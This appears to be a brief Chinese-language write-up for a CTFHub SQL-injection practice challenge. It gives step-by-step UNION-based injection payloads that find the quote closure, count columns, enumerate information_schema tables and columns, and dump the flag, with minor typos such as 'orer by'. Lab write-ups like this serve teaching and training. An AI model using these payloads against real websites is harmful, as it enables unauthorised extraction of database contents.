靶场地址
https://www.ctfhub.com/#/challenge

找出闭合符号
通过id=1 and 1=2--+发现页面正常说明需要闭合

通过id=1 and 1=2--+发现页面闭合符为单引号

利用order by找到长度为3
语法:id=1 orer by 3--+

使用联合注入,select 1,2, 3搜索发现2,3位置处回显
语法:id=1' and 1=2 union select 1,2,3--+

找到两个数据库观察发现flgg应该是在fl4g数据库中
语法:?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查看flag表中的字段只有fllllag
语法:?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="fl4g"--+

直接搜索flag中的fllllag得出答案
语法:?id=1' and 1=2 union select 1,2,group_concat(fllllag) from fl4g --+

评论 (0)